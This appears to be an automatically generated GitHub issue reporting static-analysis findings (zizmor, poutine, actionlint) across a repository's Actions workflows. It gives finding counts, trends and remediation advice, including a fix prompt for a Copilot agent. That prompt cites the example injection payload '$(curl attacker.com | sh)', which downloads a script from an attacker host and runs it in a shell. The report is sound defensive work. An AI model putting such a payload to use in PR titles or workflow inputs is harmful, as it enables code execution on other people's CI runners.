Skip to content

[static-analysis] Report - 2026-04-09 #25525

@github-actions

Description

@github-actions

Analysis Summary

Today's compilation failed with unknown flag: --runner-guard — the same failure seen on 2026-04-08 (3 consecutive failures). This report is based on the last successful scan: 2026-04-04 (§23986109480).

  • Tools Used: zizmor, poutine, actionlint (runner-guard unavailable — see note below)
  • Total Findings (2026-04-04): 9,956
  • Workflows Scanned: 181
  • Scan Status: ⚠️ Compile failed today — data from last successful scan (5 days ago)

Note on runner-guard: The --runner-guard flag was introduced in PR #25281 but has not yet been merged into the deployed gh-aw CLI/MCP server version. Compilation has failed on every run since 2026-04-08. Runner-guard findings are unavailable until the flag is deployed.

Findings by Tool (2026-04-04 baseline)

Tool Total Critical High Medium Low
zizmor (security) 4,924 0 1,117 3,703 104
poutine (supply chain) 65 34 14 17 0
actionlint (linting) 4,967
runner-guard (taint analysis) N/A

Clustered Findings by Tool and Type

Zizmor Security Findings

Issue Type Severity Count Notes
secrets-outside-env Medium 7,398 occurrences / 4,924 findings Affects all 181 workflows
unpinned-uses High 2,182 All 181 workflows via github/gh-aw-actions/setup@v0.65.6
template-injection High 214 ~47 workflows affected
obfuscation Low 44 Base64-encoded data in steps
artipacked Medium 6 Artifact poisoning risk
secrets-inherit Medium 2 Secrets inherited by called workflows
github-env High 2 Dangerous GITHUB_ENV use (dev-hawk)

Poutine Supply Chain Findings

Issue Type Severity Count Affected Workflows
untrusted_checkout_exec Error 34 smoke-workflow-call, smoke-workflow-call-with-inputs
default_permissions_on_risky_events Warning 14 Multiple workflows
github_action_from_unverified_creator_used Warning 9 Multiple workflows
unverified_script_exec Warning 4 Multiple workflows
unpinnable_action Warning 2 Multiple workflows
pr_runs_on_self_hosted Warning 2 dev, smoke-copilot-arm

Actionlint Linting Issues

Issue Type Count Notes
shellcheck SC2086 4,680 Double-quote vars to prevent word splitting
shellcheck SC2129 176 Use grouped redirects { cmd; } >> file
permissions 85 Unknown copilot-requests permission scope
runner-label 12 Runner label issues
expression 13 Undefined output properties

Runner-Guard Taint Analysis Findings

⚠️ Unavailable — compilation fails with unknown flag: --runner-guard. Pending merge of PR #25281 into the deployed gh-aw CLI/MCP server version.

Issues created: none (runner-guard data unavailable)

Top Priority Issues

1. Template Injection (High Severity)

  • Tool: zizmor
  • Count: 214 findings across ~47 workflows
  • Severity: High
  • Affected: audit-workflows, auto-triage-issues, contribution-check, copilot-pr-nlp-analysis, copilot-session-insights, copilot-token-audit, daily-code-metrics, daily-copilot-token-report, daily-doc-updater, daily-firewall-report, daily-integrity-analysis, daily-issues-report, daily-multi-device-docs-tester, daily-news, daily-performance-summary, daily-repo-chronicle, deep-report, discussion-task-miner, docs-noob-tester, github-mcp-structural-analysis, and ~27 more
  • Description: Code injection via GitHub Actions expression template expansion in run: steps — attacker-controlled values from github.event.* or PR/issue data used directly in shell commands
  • Reference: (docs.zizmor.sh/redacted)

2. Unpinned Action References (High Severity)

  • Tool: zizmor
  • Count: 2,182 findings
  • Severity: High
  • Affected: All 181 workflows via github/gh-aw-actions/setup@v0.65.6
  • Description: Actions referenced by tag instead of SHA — supply chain attack surface
  • Reference: (docs.zizmor.sh/redacted)

3. Untrusted Checkout Execution (Critical — Poutine)

  • Tool: poutine
  • Count: 34 findings
  • Severity: Error
  • Affected: smoke-workflow-call, smoke-workflow-call-with-inputs
  • Description: Arbitrary code execution risk from untrusted code in PR checkouts
  • Reference: (docs.poutine.dev/redacted)

Fix Suggestion for Template Injection

Issue: Template injection via $\{\{ github.event.* }} in run: steps
Severity: High
Affected Workflows: ~47 workflows

Prompt to Copilot Agent:

You are fixing a security vulnerability identified by zizmor: template injection.

**Vulnerability**: template-injection
**Rule**: (docs.zizmor.sh/redacted)

**Current Issue**:
GitHub Actions expressions like `$\{\{ github.event.pull_request.title }}` or
`$\{\{ github.event.issue.body }}` are expanded directly into shell `run:` steps.
An attacker can craft a PR title or issue body containing shell metacharacters
(e.g., `$(curl attacker.com | sh)`) that get executed in the runner.

**Required Fix**:
Move the GitHub expression into an environment variable, then reference that
variable in the shell command. Environment variables are passed safely and are
NOT subject to shell injection.

**Example**:
Before:
```yaml
- name: Process PR title
  run: echo "$\{\{ github.event.pull_request.title }}"
```

After:
```yaml
- name: Process PR title
  env:
    PR_TITLE: $\{\{ github.event.pull_request.title }}
  run: echo "$PR_TITLE"
```

Apply this fix to every `run:` step that uses a `$\{\{ github.event.* }}`,
`$\{\{ github.head_ref }}`, `$\{\{ github.actor }}`, or similar untrusted
expression directly in the shell command body.

Affected workflow files (lock.yml):
- audit-workflows.lock.yml
- auto-triage-issues.lock.yml
- contribution-check.lock.yml
- copilot-pr-nlp-analysis.lock.yml
- copilot-session-insights.lock.yml
- copilot-token-audit.lock.yml
- daily-code-metrics.lock.yml
- daily-copilot-token-report.lock.yml
- daily-doc-updater.lock.yml
- daily-firewall-report.lock.yml
- daily-integrity-analysis.lock.yml
- daily-issues-report.lock.yml
- daily-multi-device-docs-tester.lock.yml
- daily-news.lock.yml
- daily-performance-summary.lock.yml
- daily-repo-chronicle.lock.yml
- deep-report.lock.yml
- discussion-task-miner.lock.yml
- docs-noob-tester.lock.yml
- github-mcp-structural-analysis.lock.yml
(and ~27 additional workflows)
View All Findings Details (2026-04-04 baseline)

Zizmor Severity Breakdown

Severity Count
High 1,117
Medium 3,703
Low 22
Informational 82

Actionlint Shellcheck Details

SC2086 accounts for 94.2% of all actionlint findings (4,680/4,967).
The predominant pattern is unquoted variable expansions in bash:

# Before (flagged)
bash \$\{RUNNER_TEMP}/script.sh

# After (fixed)
bash "\$\{RUNNER_TEMP}/script.sh"

Poutine Growth Analysis

Poutine findings grew from 6 (2026-03-29) → 65 (2026-04-04), a 983% increase in 6 days,
driven by new workflows triggering default_permissions_on_risky_events and
github_action_from_unverified_creator_used rules.

Historical Trends

Date Total Zizmor Poutine Actionlint Workflows Status
2026-03-29 7,383 3,455 6 3,928 178
2026-03-30 8,520 3,953 6 4,561 178
2026-03-31 8,562 3,977 19 4,566 178
2026-04-01 8,601 3,992 19 4,590 179
2026-04-02 8,600 3,762 19 4,819 179
2026-04-03 9,757 4,789 39 4,929 183
2026-04-04 9,956 4,924 65 4,967 181 ✅ Last good
2026-04-08 0 ❌ compile_failed
2026-04-09 0 ❌ compile_failed

Trend (last 12 days): Total findings +35% (7,383 → 9,956), workflows +1.7% (178 → 181).
Compile failures: 3 consecutive failures since 2026-04-08 — unblocked by merging PR #25281.

Key Observations

  • template-injection: Stable at ~214 High findings across ~47 workflows — persistent unresolved
  • secrets-outside-env: Pervasive, affects all workflows (~7,398 occurrences)
  • unpinned-uses spike: Grew from 5 to 2,182 between 2026-04-02 and 2026-04-04 via github/gh-aw-actions/setup@v0.65.6
  • poutine growth: 983% increase in 6 days (6 → 65 findings)

Recommendations

  1. Immediate: Merge PR Add --runner-guard to compile; wire into static-analysis-report workflow #25281 to restore compile capability and enable runner-guard scanning
  2. High priority: Fix template-injection in ~47 affected workflows using the fix prompt above
  3. High priority: Pin github/gh-aw-actions/setup to a SHA instead of @v0.65.6
  4. Short-term: Address untrusted_checkout_exec in smoke workflow call files
  5. Short-term: Fix SC2086 shellcheck warnings — add double-quoting to shell variable expansions
  6. Long-term: Establish per-workflow permissions to resolve default_permissions_on_risky_events
  7. Prevention: Update workflow templates to use env vars for all untrusted GitHub context values

Next Steps

  • Merge PR Add --runner-guard to compile; wire into static-analysis-report workflow #25281 to re-enable --runner-guard flag and restore daily scans
  • Apply template-injection fix prompt to all 47+ affected workflows
  • Pin github/gh-aw-actions/setup action to a specific SHA
  • Address poutine untrusted_checkout_exec in smoke-workflow-call files
  • Bulk-fix SC2086 shellcheck warnings with automated quoting
  • Review default_permissions_on_risky_events and add explicit permissions: blocks

References:

Generated by Static Analysis Report · ● 166.9K ·

  • expires on Apr 16, 2026, 7:54 PM UTC

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions